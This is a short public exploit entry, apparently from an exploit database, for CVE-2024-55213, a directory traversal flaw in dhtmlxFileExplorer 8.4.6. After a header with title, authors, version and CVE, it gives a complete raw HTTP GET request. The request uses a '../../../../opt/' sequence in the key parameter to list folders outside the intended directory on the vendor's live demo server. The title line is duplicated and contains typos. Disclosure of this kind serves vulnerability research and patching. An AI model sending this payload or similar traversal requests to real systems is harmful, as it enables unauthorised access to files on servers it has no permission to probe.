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# Exploit Title: dhtmlxFileExplorer 8.4.6 - Access Sensitive Floder via # Exploit Title: dhtmlxFileExplorer 8.4.6 - Access Sensitive Floder via Directory Traversal in DHX File Exlploer
# Date: Feb 6, 2025
# Exploit Author: Nutchaya Augkanavitayakul, Nattachai Wanmak, Pongtorn Angsuchotmetee
# Vendor Homepage: https://dhtmlx.com
# Software Link: https://dhtmlx.com
# Version: 8.4.6
# Tested on: macOS
# CVE : CVE-2024-55213

GET /docs/products/demoApps/dhtmlxFileExplorerDemo/backend/folders?key=ui346173977045/My%20files/Documents/../../../../opt/ HTTP/1.1
Host: dhtmlx.com
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dhtmlx.com/docs/products/demoApps/dhtmlxFileExplorerDemo/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
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